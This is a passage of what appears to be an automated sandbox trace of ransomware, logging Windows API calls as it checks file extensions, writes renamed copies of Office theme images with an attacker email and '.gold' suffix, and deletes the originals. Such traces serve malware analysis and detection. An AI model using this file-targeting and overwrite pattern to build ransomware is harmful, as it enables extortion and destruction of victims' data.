Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0040.519] lstrlenW (lpString=".jpg") returned 4 [0040.519] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0040.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0040.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0040.519] lstrlenW (lpString=".doc") returned 4 [0040.519] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0040.519] lstrlenW (lpString=".docx") returned 5 [0040.519] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0040.519] lstrlenW (lpString=".pdf") returned 4 [0040.519] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0040.519] lstrlenW (lpString=".xls") returned 4 [0040.519] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0040.519] lstrlenW (lpString=".xlsx") returned 5 [0040.519] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0040.519] lstrlenW (lpString=".ppt") returned 4 [0040.519] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0040.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0040.519] lstrlenW (lpString=".zip") returned 4 [0040.519] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0040.519] lstrlenW (lpString=".rar") returned 4 [0040.519] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0040.519] lstrlenW (lpString=".bz2") returned 4 [0040.519] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0040.519] lstrlenW (lpString=".7z") returned 3 [0040.519] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0040.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0040.519] lstrlenW (lpString=".dbf") returned 4 [0040.519] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0040.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0040.519] lstrlenW (lpString=".1cd") returned 4 [0040.519] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0040.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0040.519] lstrlenW (lpString=".jpg") returned 4 [0040.519] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0040.519] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0040.519] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0040.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.520] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=25234) returned 1 [0040.520] CloseHandle (hObject=0x20c) returned 1 [0040.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0040.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.521] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.521] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0040.521] GetLastError () returned 0x0 [0040.521] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x6292, lpOverlapped=0x0) returned 1 [0040.522] WriteFile (in: hFile=0x188, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x62a0, lpOverlapped=0x0) returned 1 [0040.523] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.523] WriteFile (in: hFile=0x188, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.523] SetEndOfFile (hFile=0x188) returned 1 [0040.524] CloseHandle (hObject=0x188) returned 1 [0040.524] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.524] SetEndOfFile (hFile=0x20c) returned 1 [0040.525] CloseHandle (hObject=0x20c) returned 1 [0040.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0040.526] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0040.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0040.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0040.526] lstrlenW (lpString=".doc") returned 4 [0040.526] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.526] lstrlenW (lpString=".docx") returned 5 [0040.526] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0040.526] lstrlenW (lpString=".pdf") returned 4 [0040.526] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.526] lstrlenW (lpString=".xls") returned 4 [0040.526] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.526] lstrlenW (lpString=".xlsx") returned 5 [0040.526] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0040.526] lstrlenW (lpString=".ppt") returned 4 [0040.526] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0040.526] lstrlenW (lpString=".zip") returned 4 [0040.526] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.526] lstrlenW (lpString=".rar") returned 4 [0040.526] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.526] lstrlenW (lpString=".bz2") returned 4 [0040.526] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.526] lstrlenW (lpString=".7z") returned 3 [0040.526] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0040.526] lstrlenW (lpString=".dbf") returned 4 [0040.526] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0040.526] lstrlenW (lpString=".1cd") returned 4 [0040.526] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0040.526] lstrlenW (lpString=".jpg") returned 4 [0040.526] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0040.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0040.526] lstrlenW (lpString=".doc") returned 4 [0040.526] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.526] lstrlenW (lpString=".docx") returned 5 [0040.526] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0040.526] lstrlenW (lpString=".pdf") returned 4 [0040.527] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.527] lstrlenW (lpString=".xls") returned 4 [0040.527] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.527] lstrlenW (lpString=".xlsx") returned 5 [0040.527] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0040.527] lstrlenW (lpString=".ppt") returned 4 [0040.527] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0040.527] lstrlenW (lpString=".zip") returned 4 [0040.527] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.527] lstrlenW (lpString=".rar") returned 4 [0040.527] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.527] lstrlenW (lpString=".bz2") returned 4 [0040.527] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.527] lstrlenW (lpString=".7z") returned 3 [0040.527] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0040.527] lstrlenW (lpString=".dbf") returned 4 [0040.527] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0040.527] lstrlenW (lpString=".1cd") returned 4 [0040.527] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0040.527] lstrlenW (lpString=".jpg") returned 4 [0040.527] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.527] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0040.527] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0040.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0040.869] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=2985) returned 1 [0040.869] CloseHandle (hObject=0x1f4) returned 1 [0040.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0040.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0040.870] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.870] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.871] GetLastError () returned 0x0 [0040.871] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0xba9, lpOverlapped=0x0) returned 1 [0040.872] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xbb0, lpOverlapped=0x0) returned 1 [0040.873] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.873] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0040.873] SetEndOfFile (hFile=0x20c) returned 1 [0040.873] CloseHandle (hObject=0x20c) returned 1 [0040.874] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.874] SetEndOfFile (hFile=0x1f4) returned 1 [0040.875] CloseHandle (hObject=0x1f4) returned 1 [0040.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0040.875] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0040.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0040.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0040.875] lstrlenW (lpString=".doc") returned 4 [0040.875] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0040.875] lstrlenW (lpString=".docx") returned 5 [0040.875] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0040.875] lstrlenW (lpString=".pdf") returned 4 [0040.875] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0040.875] lstrlenW (lpString=".xls") returned 4 [0040.875] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0040.875] lstrlenW (lpString=".xlsx") returned 5 [0040.876] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0040.876] lstrlenW (lpString=".ppt") returned 4 [0040.876] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0040.876] lstrlenW (lpString=".zip") returned 4 [0040.876] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0040.876] lstrlenW (lpString=".rar") returned 4 [0040.876] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0040.876] lstrlenW (lpString=".bz2") returned 4 [0040.876] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0040.876] lstrlenW (lpString=".7z") returned 3 [0040.876] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0040.876] lstrlenW (lpString=".dbf") returned 4 [0040.876] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0040.876] lstrlenW (lpString=".1cd") returned 4 [0040.876] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0040.876] lstrlenW (lpString=".jpg") returned 4 [0040.876] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0040.876] lstrlenW (lpString=".doc") returned 4 [0040.876] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0040.876] lstrlenW (lpString=".docx") returned 5 [0040.876] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0040.876] lstrlenW (lpString=".pdf") returned 4 [0040.876] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0040.876] lstrlenW (lpString=".xls") returned 4 [0040.876] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0040.876] lstrlenW (lpString=".xlsx") returned 5 [0040.876] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0040.876] lstrlenW (lpString=".ppt") returned 4 [0040.876] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0040.876] lstrlenW (lpString=".zip") returned 4 [0040.876] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0040.876] lstrlenW (lpString=".rar") returned 4 [0040.876] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0040.876] lstrlenW (lpString=".bz2") returned 4 [0040.876] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0040.876] lstrlenW (lpString=".7z") returned 3 [0040.876] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0040.876] lstrlenW (lpString=".dbf") returned 4 [0040.876] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0040.876] lstrlenW (lpString=".1cd") returned 4 [0040.876] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0040.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0040.877] lstrlenW (lpString=".jpg") returned 4 [0040.877] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0040.877] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0040.877] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0040.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.878] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=2181) returned 1 [0040.878] CloseHandle (hObject=0x20c) returned 1 [0040.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0040.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.878] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.878] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0040.880] GetLastError () returned 0x0 [0040.880] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x885, lpOverlapped=0x0) returned 1 [0040.881] WriteFile (in: hFile=0x1f4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x890, lpOverlapped=0x0) returned 1 [0040.881] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.882] WriteFile (in: hFile=0x1f4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0040.882] SetEndOfFile (hFile=0x1f4) returned 1 [0040.882] CloseHandle (hObject=0x1f4) returned 1 [0040.882] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.882] SetEndOfFile (hFile=0x20c) returned 1 [0040.883] CloseHandle (hObject=0x20c) returned 1 [0040.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0040.884] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0040.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0040.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0040.884] lstrlenW (lpString=".doc") returned 4 [0040.884] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0040.884] lstrlenW (lpString=".docx") returned 5 [0040.884] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0040.884] lstrlenW (lpString=".pdf") returned 4 [0040.884] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0040.884] lstrlenW (lpString=".xls") returned 4 [0040.884] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0040.884] lstrlenW (lpString=".xlsx") returned 5 [0040.884] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0040.884] lstrlenW (lpString=".ppt") returned 4 [0040.884] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0040.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0040.884] lstrlenW (lpString=".zip") returned 4 [0040.884] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0040.884] lstrlenW (lpString=".rar") returned 4 [0040.884] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0040.884] lstrlenW (lpString=".bz2") returned 4 [0040.884] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0040.884] lstrlenW (lpString=".7z") returned 3 [0040.884] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0040.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0040.884] lstrlenW (lpString=".dbf") returned 4 [0040.884] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0040.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0040.884] lstrlenW (lpString=".1cd") returned 4 [0040.885] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0040.885] lstrlenW (lpString="C:\\Program 